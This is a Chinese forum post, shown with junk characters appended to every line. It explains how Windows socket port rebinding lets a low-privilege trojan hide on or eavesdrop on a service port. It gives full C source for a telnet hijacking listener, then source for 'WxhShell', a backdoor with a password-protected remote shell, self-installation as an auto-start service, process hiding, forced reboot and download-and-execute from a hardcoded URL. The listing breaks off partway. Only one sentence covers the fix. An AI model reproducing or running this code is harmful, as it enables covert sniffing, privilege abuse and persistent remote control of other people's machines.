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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HUZI7rC[=)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zpJQ7hym  
Zv-#v  
  saddr.sin_family = AF_INET; Vf0m7BJc3  
}5EvBEv-)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _qr?v=,-A  
-GH>12YP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :U=*@p4?  
dW6sA65<Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 04o(05K  
*4]}_ .rG#  
  这意味着什么?意味着可以进行如下的攻击: I=0`xF|4K-  
D/v?nW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NSZ9M%7  
"d% o%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w~Aw?75 t  
v#TU7v?~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Ps&N^[  
?|kwYA$4o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C h>r.OfP  
)m|)cLT&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f]Xh7m(Gh  
UZz/v#y~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `f S$@{YI_  
]@0C1 r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )1N~-VuT  
y2KR^/LN|Y  
  #include 7*.nd  
  #include h:xvnyaI  
  #include <v%Q|r  
  #include    0-6rIdDTM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :pq+SifP  
  int main() -e(e;e  
  { `p#tx.o  
  WORD wVersionRequested; Zcjh  
  DWORD ret; lxf+$Z`~:  
  WSADATA wsaData; *lc|iq\  
  BOOL val; u^, eHO  
  SOCKADDR_IN saddr; DZ"'GQSg  
  SOCKADDR_IN scaddr; 7v't# =  
  int err; Q\rf J||  
  SOCKET s; \,D>zF  
  SOCKET sc; a]]eQ(xQ  
  int caddsize; 3?5JY;}h>"  
  HANDLE mt; 6Z.Fyte  
  DWORD tid;   %vUY|3G  
  wVersionRequested = MAKEWORD( 2, 2 ); tnE),  
  err = WSAStartup( wVersionRequested, &wsaData ); ^,}1^?*  
  if ( err != 0 ) { IK1'" S|  
  printf("error!WSAStartup failed!\n"); nvbzCtC  
  return -1; jl9hFubwW  
  } TXdo,DPv7  
  saddr.sin_family = AF_INET; {.eo?dQ  
   *O_>3Hgl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >jz9o9?8  
*+(rQ";x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w$iQ,--  
  saddr.sin_port = htons(23); R#HVrzOO|T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^p)#;$6b  
  { 8wV`mdKN  
  printf("error!socket failed!\n"); FRa>cf4  
  return -1; B`|f"+.  
  } |P@N}P@  
  val = TRUE; f*}}Az.4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "%lIB{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xqs ,4bcbY  
  { ox*1F+Xri  
  printf("error!setsockopt failed!\n"); .J <t]  
  return -1; 0CO@@`~4  
  } 9HB+4q[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xpX<iT>5u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~y{_NgMo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;*QK^#  
.do8\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~[%_]/#&%z  
  { ncqAof(/  
  ret=GetLastError(); oR7[[H.4  
  printf("error!bind failed!\n"); ,?P<=M  
  return -1; G9|2 KUG  
  } _o[fjd  
  listen(s,2); pT{is.RM  
  while(1) :{+~i.*  
  { rGQ2 ve  
  caddsize = sizeof(scaddr); KRz~3yH{ c  
  //接受连接请求 wx^Det  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hC[ =e`j  
  if(sc!=INVALID_SOCKET) ]VL} eHZ  
  { Z_[ P7P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4%2APvLW  
  if(mt==NULL) ,Qx]_gZ`  
  { Idb*,l|<  
  printf("Thread Creat Failed!\n"); M287Z[  
  break; ~7 `,}) d  
  } G9NI`]k  
  } n]df)a  
  CloseHandle(mt); "iTjiH)Q(  
  } <8(=Lv`)q  
  closesocket(s); 4GbfA .u  
  WSACleanup(); Y?TS,   
  return 0; @Ddz|4vEi  
  }   "4\k1H"_  
  DWORD WINAPI ClientThread(LPVOID lpParam) EsGf+-}|!0  
  { 6R,Y.srR  
  SOCKET ss = (SOCKET)lpParam; ( +Sv3h  
  SOCKET sc; 9dq"x[  
  unsigned char buf[4096]; 3m= _a  
  SOCKADDR_IN saddr; l]4=W<N  
  long num; e8rZP(g&g  
  DWORD val; <pfl>Uf  
  DWORD ret; +: x[cK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9w- )??  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D6A u)1y=&  
  saddr.sin_family = AF_INET; .u>[m.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Tf~eH!~0  
  saddr.sin_port = htons(23); iLch3[p%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .<zKBv  
  { <Y."()}GeH  
  printf("error!socket failed!\n"); o2X95NiH  
  return -1; :`e#I/,  
  } JcUU#>  
  val = 100; }/dk2!?ig  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g3].STz6w  
  { OKAU*}_  
  ret = GetLastError(); 9j|v D  
  return -1; +@=V}IO  
  } yAfwQ$Ll7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  q[ _qZ  
  { yfK}1mx)j  
  ret = GetLastError(); VxBBZsZO~  
  return -1; ;+<IWDo  
  } }%p:Xv@X!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I% u 2 ce  
  { "Yh;3tI4*  
  printf("error!socket connect failed!\n"); GQ;0KIN  
  closesocket(sc); n1J u =C  
  closesocket(ss); xRe`Duy:  
  return -1; #m,H1YH M  
  } `0\Z*^>  
  while(1) PFuhvw~?  
  { nm@ h5ON_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =nHKTB>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iP0m1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N2O *g`YC  
  num = recv(ss,buf,4096,0); r5DR F4,7  
  if(num>0) V_:`K$  
  send(sc,buf,num,0); HD^#"  
  else if(num==0) ?>Sv_0  
  break; S s+F  
  num = recv(sc,buf,4096,0); }9+;-*m/  
  if(num>0) uR ?W|a  
  send(ss,buf,num,0); N$6e KJ]  
  else if(num==0) Yy88 5  
  break; Q]YB.n3   
  } .JPN';  
  closesocket(ss); IplOXD  
  closesocket(sc); 3Do0?~n  
  return 0 ; >x{("``D0y  
  } 2 ^m}5:0  
6@s!J8!  
Z#Mm4(KNh  
========================================================== se\fbe^0  
5Jbwl$mZ  
下边附上一个代码,,WXhSHELL ^1najUpQ_n  
#7 3pryXV  
========================================================== {1)A"lQu  
SI=$s>1  
#include "stdafx.h" =0pt-FQ  
wAKHD*M)  
#include <stdio.h> f`n4'dG  
#include <string.h> Z^_qXerjP  
#include <windows.h> iM@$uD$_Q2  
#include <winsock2.h> q#tUDxf(|  
#include <winsvc.h> )O]6dd  
#include <urlmon.h> '{"Rjv7  
C`hdj/!A  
#pragma comment (lib, "Ws2_32.lib") j|t=%*  
#pragma comment (lib, "urlmon.lib") 3[ xdls  
rP:g`?*V  
#define MAX_USER   100 // 最大客户端连接数 e0TYHr)X>3  
#define BUF_SOCK   200 // sock buffer } :0_%=)N<  
#define KEY_BUFF   255 // 输入 buffer ob\-OMNs@  
OP`f[lCiL  
#define REBOOT     0   // 重启 hx9{?3#  
#define SHUTDOWN   1   // 关机 Ca|egQv  
E+aePoU  
#define DEF_PORT   5000 // 监听端口 ?H=q!i  
L}`/v]E"eU  
#define REG_LEN     16   // 注册表键长度 Am<5J,<uy  
#define SVC_LEN     80   // NT服务名长度 xU.1GI%UPu  
IMkE~0x4</  
// 从dll定义API }|.<EkA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |-Uh3WUE6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <y@v v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M7TLQqaF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `,qft[1  
(QDKw}O2b  
// wxhshell配置信息 !;eE7xn&  
struct WSCFG { $ln8Cpbca  
  int ws_port;         // 监听端口 ib=)N)l  
  char ws_passstr[REG_LEN]; // 口令 Dh8ECy5k<*  
  int ws_autoins;       // 安装标记, 1=yes 0=no gQ_<;'m)2  
  char ws_regname[REG_LEN]; // 注册表键名 )2&3D"V  
  char ws_svcname[REG_LEN]; // 服务名 G-d7}Uz ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hzo> :U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G?s9c0f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4>d4g\Z0L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $G".PWc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q;]JVT1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vu3DP+u|i  
UzxL" `^7  
}; YzESV Th  
GbSCk}>  
// default Wxhshell configuration P8eCaZg?(3  
struct WSCFG wscfg={DEF_PORT, C[L 5H  
    "xuhuanlingzhe", gXxi; g  
    1, <Ht"t]u*Bn  
    "Wxhshell", ?9`j1[0  
    "Wxhshell", 1Gsh%0r3  
            "WxhShell Service", /eV)5`V  
    "Wrsky Windows CmdShell Service", V$?6%\M^*  
    "Please Input Your Password: ", W/qXQORv  
  1, L7$f01*  
  "http://www.wrsky.com/wxhshell.exe", g-eJan&]N  
  "Wxhshell.exe" E_ wVAz3  
    }; j%6p:wDl  
]SQ+r*a  
// 消息定义模块 D0Dz@25-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @ap!3o8,9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dKzG,/1W[m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M~A# _%2U  
char *msg_ws_ext="\n\rExit."; wlXs/\es  
char *msg_ws_end="\n\rQuit."; T#ls2UL*xh  
char *msg_ws_boot="\n\rReboot..."; X q?>a+B  
char *msg_ws_poff="\n\rShutdown..."; " `qk}n-  
char *msg_ws_down="\n\rSave to "; l77 -I:  
=A'>1N  
char *msg_ws_err="\n\rErr!"; S2$66xr#  
char *msg_ws_ok="\n\rOK!"; {KG}m'lx  
+F)EGB%LXs  
char ExeFile[MAX_PATH]; 7m2iL#5[  
int nUser = 0; 1#vu)a1+b  
HANDLE handles[MAX_USER]; 2Re8rcQQU  
int OsIsNt; ^B<-.(F  
4fi4F1f  
SERVICE_STATUS       serviceStatus; mkSu $c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A (2 0+  
90vWqL!  
// 函数声明 ZFtx&vr P  
int Install(void); T8S&9BM7  
int Uninstall(void); L1SX2F8  
int DownloadFile(char *sURL, SOCKET wsh); ~O}r<PQ  
int Boot(int flag); D_l$"35?  
void HideProc(void); zDvV%+RW)  
int GetOsVer(void); A%^?z.  
int Wxhshell(SOCKET wsl); ctP+ECH  
void TalkWithClient(void *cs); n9Fq^^?  
int CmdShell(SOCKET sock); B ~v6_x  
int StartFromService(void); Xh8U}w<k6  
int StartWxhshell(LPSTR lpCmdLine); SoziFI  
G<CD 4:V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #:?:gY<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %r^tZ;; l  
.#&)%}GC  
// 数据结构和表定义 Ic'D# m  
SERVICE_TABLE_ENTRY DispatchTable[] = G#%Sokkb'  
{ & DP"RWT/  
{wscfg.ws_svcname, NTServiceMain}, TCp9C1Q4  
{NULL, NULL} <Y`(J#  
}; A|"T8KSMB  
Vh0cac|X  
// 自我安装 -5*OSA:8x  
int Install(void) WSozDNF!'f  
{ lV'?X%  
  char svExeFile[MAX_PATH]; bc(MN8b]j  
  HKEY key; -C2!`/U  
  strcpy(svExeFile,ExeFile); Zf$mwRS[_  
:Racu;xf  
// 如果是win9x系统,修改注册表设为自启动 |>ztx}\  
if(!OsIsNt) { )<QX2~m<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~>@~U]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -8)Hulo/{U  
  RegCloseKey(key); &b (*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /` M#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S<T 'B0r8  
  RegCloseKey(key); w[GEm,ZC  
  return 0; Zq 4%O7%  
    } zfop-qDOc  
  } kwp%5C-S  
} + E{[j  
else { ozY$}|sjDT  
^li3*#eT  
// 如果是NT以上系统,安装为系统服务 G&h@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a<-aE4wdm  
if (schSCManager!=0) _n:RA)4*  
{ >a975R*g  
  SC_HANDLE schService = CreateService 2D:/.9= 8v  
  ( 7)U ik}0  
  schSCManager, 3FvVM0l"  
  wscfg.ws_svcname, Fx!D:.)/G  
  wscfg.ws_svcdisp, ^x0N] /  
  SERVICE_ALL_ACCESS, 6 |=]i-8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ICz:>4M-dn  
  SERVICE_AUTO_START, `%\CO `  
  SERVICE_ERROR_NORMAL, LGc8w>qE  
  svExeFile, l$5nv5r  
  NULL, (&.T  
  NULL, *C55DO^w  
  NULL, ,hf W2}  
  NULL, 6D| F1UFU  
  NULL ]U#of O  
  ); )"?'~5A  
  if (schService!=0) @KM?agtlbl  
  { f I%8@ :  
  CloseServiceHandle(schService); B*:I-5  
  CloseServiceHandle(schSCManager); 0:Bpvl5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `a52{Wa  
  strcat(svExeFile,wscfg.ws_svcname); R?1Z[N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o~'p&f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Zvb3RJg  
  RegCloseKey(key); GLIY!BU<C  
  return 0; )&E]   
    } jOCV)V9}  
  } - "zW"v)\  
  CloseServiceHandle(schSCManager); ;'Hu75ymo  
} 8GBKFNR 8  
} E q4tcZ  
v2tVq_\AMx  
return 1; 8d$|JN;)  
} t<dFH}U`w  
XZN@hXc9:v  
// 自我卸载 :2KPvp 7?  
int Uninstall(void) i+(>w'=m  
{ kMW9UUw  
  HKEY key; P84YriLo  
vJs6nVbK  
if(!OsIsNt) { .,6o):  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HT/!+#W .  
  RegDeleteValue(key,wscfg.ws_regname); ,8zJD&HMx  
  RegCloseKey(key); i%!<9D~n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ PN2^  
  RegDeleteValue(key,wscfg.ws_regname); ];CIo> b_(  
  RegCloseKey(key); eV%{XR?y  
  return 0; rI\5djiYJ  
  } z#Qe$`4&  
} |(l]Xr&O  
} [*u\S  
else { LL);Ym9d  
lV:feX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]i075bO/  
if (schSCManager!=0) &KBDrJEX  
{ 5mV!mn:H:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 13 h,V]ak  
  if (schService!=0) 8+Tv@  
  { %AJ9fs4/  
  if(DeleteService(schService)!=0) { V5-!w0{  
  CloseServiceHandle(schService); %h(%M'm?  
  CloseServiceHandle(schSCManager); kI a16m  
  return 0; 9:g A0Z  
  } _1RvK? ;.{  
  CloseServiceHandle(schService); E5A"sB   
  } fn/?I \  
  CloseServiceHandle(schSCManager); s#<fj#S  
} t{B@k[|  
} dSKvs"  
Z796;qk  
return 1; u[KxI9Q  
} sMAj?]hI$  
Q_p&~PNy5  
// 从指定url下载文件  6p@[U>`  
int DownloadFile(char *sURL, SOCKET wsh) nCwA8AG  
{ =c 9nC;C  
  HRESULT hr; '4 d4i  
char seps[]= "/"; ELV~ ayp5  
char *token; _QHk&-Lp  
char *file; w:nH_x#C4  
char myURL[MAX_PATH]; Ohgu*5!o  
char myFILE[MAX_PATH]; oMemF3M  
UhDf6A`]  
strcpy(myURL,sURL); l?IeZisX  
  token=strtok(myURL,seps); 94O\M RQ*  
  while(token!=NULL) Z,AY<[/C  
  { lO|LvJyx  
    file=token; y+Nw>\|S  
  token=strtok(NULL,seps); t$,G%micj  
  } ]%-U~avph  
4Th?q{X  
GetCurrentDirectory(MAX_PATH,myFILE); pRh9+1EM;  
strcat(myFILE, "\\"); o "0 ~  
strcat(myFILE, file); /Z]nV2$n)V  
  send(wsh,myFILE,strlen(myFILE),0); I9L3Y@(f6m  
send(wsh,"...",3,0); (e5Z^9X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^w%%$9=:r  
  if(hr==S_OK) wbOYtN Y@  
return 0; !w UznyYwt  
else '/XP4B\(E  
return 1; .|u`s,\  
,[ppETz  
} UAz^P6iQ`~  
E@otV6Wk[@  
// 系统电源模块 {S+?n[1r\  
int Boot(int flag) D=vw0Q_3Y3  
{ #b&tNZ4!_  
  HANDLE hToken; pam9wfP  
  TOKEN_PRIVILEGES tkp; .3UJ*^(?  
I74Rw*fB  
  if(OsIsNt) { h{_\ok C>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2o9B >f&g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SJX9oVJeZ  
    tkp.PrivilegeCount = 1; 49>b]f,Vc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4a& 8G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eD(5+bm  
if(flag==REBOOT) { <z%**gP~G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &-o5lrq  
  return 0; lb9?Uc@  
} #J3}H   
else { irm4lb5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q jXJo$I6  
  return 0; aaf}AIL.  
} f*"T]AX0  
  } M`q|GY  
  else { XM+.Hel  
if(flag==REBOOT) { "(W;rl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ha;fxM]  
  return 0; +1yi{!j1  
} L?;UcCB  
else { Kyk{:UnI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G"m0[|XH  
  return 0; oB!Y)f6H1  
} b==jlYa=  
} qov<@FvE0  
T=~d. &J  
return 1; /N%i6t<xU  
} l i?@BHEf  
V;RgO}  
// win9x进程隐藏模块 gi/k#3_m  
void HideProc(void) Iv3yDL;  
{ /kyO,g$9  
r)-{~JA!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jb$G  
  if ( hKernel != NULL ) Q1|6;4L  
  {  *p9)5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X%<qHbKB,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ed5oN^V.<  
    FreeLibrary(hKernel); JAjiG^]  
  } ?kZ-,@h:  
3mYW]  
return; (||qFu9a  
} 'ParMT  
8Uh|V&  
// 获取操作系统版本 SD*q+Si,1U  
int GetOsVer(void) PHT<]:"`<  
{ 'l!\2Wv2  
  OSVERSIONINFO winfo; l,Y5VGiH#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wk3-J&QbS  
  GetVersionEx(&winfo); ;Q q_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6RxI9{ry  
  return 1; f^QC4hf0  
  else x.t&NP^V)  
  return 0; P}a$#a'!  
} q$yg^:]2  
CDtL.a\  
// 客户端句柄模块 i Pr(X  
int Wxhshell(SOCKET wsl) |[5;dt_U/  
{ #l&*&R~>  
  SOCKET wsh; 03|nP$g  
  struct sockaddr_in client; xjnAK!sD  
  DWORD myID; s}Go")p<:  
UMNNAX  
  while(nUser<MAX_USER) |Fze9kZO  
{ kR^">s/H#  
  int nSize=sizeof(client); MIkp4A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .eVX/6,  
  if(wsh==INVALID_SOCKET) return 1; gn/]1NNfR  
O^./) #!#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )S4ga  
if(handles[nUser]==0) ]Oo!>iTQi  
  closesocket(wsh); :epB:r  
else p`7d9MV^  
  nUser++; ]<YS7.pT  
  } q Sv!5&u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +PsR*T  
7;'UC','  
  return 0; ZGX"Vn|YL  
} ,#;`f=aqTG  
oF+yh!~mM  
// 关闭 socket UJp'v_hN  
void CloseIt(SOCKET wsh) D?S|]]Y!q  
{ K\B!tk  
closesocket(wsh); :O@n6%pSL  
nUser--; TBJ?8W(  
ExitThread(0); euT=]j  
} <W3p!  
@V^.eVM\R  
// 客户端请求句柄 $U7/w?gc'  
void TalkWithClient(void *cs) sVP\EF8PY  
{ gzVZPvTPE  
(O09HY:  
  SOCKET wsh=(SOCKET)cs; N GnE  
  char pwd[SVC_LEN]; >m%TUQ#%  
  char cmd[KEY_BUFF]; 't8!.k  
char chr[1]; k:~UBs\)(  
int i,j; /o6ido  
E>*b,^J7g  
  while (nUser < MAX_USER) { n2AoEbd  
KgD$P(J:[  
if(wscfg.ws_passstr) { H*0g*(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S3U]AH)C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -b+)Dp~$p  
  //ZeroMemory(pwd,KEY_BUFF); D1>*ml  
      i=0; @|ZUyat  
  while(i<SVC_LEN) { b|x B <  
bL0]Yuh  
  // 设置超时 ~MB)}!S:  
  fd_set FdRead; /#: *hn  
  struct timeval TimeOut; ]x8Y]wAU&{  
  FD_ZERO(&FdRead); }lPWA/  
  FD_SET(wsh,&FdRead); #<&@-D8  
  TimeOut.tv_sec=8; xZ2 1i QeN  
  TimeOut.tv_usec=0; $?:IRgAr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d@*dbECG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +N,Fq/x  
RDQ]_wsyKG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zn= pm#L  
  pwd=chr[0]; t W   
  if(chr[0]==0xd || chr[0]==0xa) { f`>\bdz  
  pwd=0; tQ'R(H`  
  break; @pv:uON\  
  } Qz{Vl> "  
  i++; BSSehe*  
    } a8[%-eW,  
~v/` `s  
  // 如果是非法用户,关闭 socket (kK8 OxfF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Z.{1  
} f]Aa$\@b  
(qc <'$o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oliVaavj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 13 JG[,w  
;2fzA<RkK  
while(1) { K]>4*)A:  
{nA+-=T  
  ZeroMemory(cmd,KEY_BUFF); ~KGE(o4p  
"k [$euV  
      // 自动支持客户端 telnet标准   $[cB6  
  j=0; UDcr5u eKn  
  while(j<KEY_BUFF) { IWN18aaL?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S$wC{7?f  
  cmd[j]=chr[0]; 'i3-mZ/|8  
  if(chr[0]==0xa || chr[0]==0xd) { KU+u.J  
  cmd[j]=0; bfJ<~ss/  
  break; [!KsAsmk  
  } u5U^}<}y}  
  j++; !.@:t`w  
    } 4^Ks!S>K{8  
BUh(pS:  
  // 下载文件 1,Pg^Xu  
  if(strstr(cmd,"http://")) { "GqasbX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *E|3Vy{4  
  if(DownloadFile(cmd,wsh)) :N<o<qn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-P<v2|e  
  else ~$ ?85   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Z~Nz>'r  
  } #>5T,[{?j  
  else { 4_CXs.v1  
UY.o,I> s  
    switch(cmd[0]) { |P9)*~\5  
  @frV:%  
  // 帮助 Opy{i#>  
  case '?': { 5PpS/I:on  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3v#F0s|  
    break; jM{5nRQ  
  } 4|eI_u{_  
  // 安装 @Y9tkJIt  
  case 'i': { 5wvh @Sc\  
    if(Install()) 11fV|b%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHPsHy7y  
    else =7~;*Ts  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #.}&6ZP  
    break; XK0lv8(  
    } ?LvxEQ-g  
  // 卸载 TPN1Rnt0`  
  case 'r': { [*ug:PG  
    if(Uninstall()) $9Xn.,W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1':};}dCJ  
    else 90<a'<\|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8k Sb92  
    break; /(s N@kt  
    } w);Bet  
  // 显示 wxhshell 所在路径 v&66F`  
  case 'p': { cSTL.QF  
    char svExeFile[MAX_PATH]; ~ /K'n  
    strcpy(svExeFile,"\n\r"); FA%BzU5^  
      strcat(svExeFile,ExeFile); CA/Lv{[2  
        send(wsh,svExeFile,strlen(svExeFile),0); +- hfl/$  
    break; -7I %^u  
    } 6LT.ng  
  // 重启 bSTTr<W  
  case 'b': { z=rSb4"W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >dDcm  
    if(Boot(REBOOT)) P!&yYR\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*ie$}ZX  
    else { 7$L*nf  
    closesocket(wsh); E|VTbE YG  
    ExitThread(0); 8*]dA ft  
    } lb}:! Y  
    break; [F27i#'I]  
    } 4 `}6W>*R  
  // 关机 RS{E|  
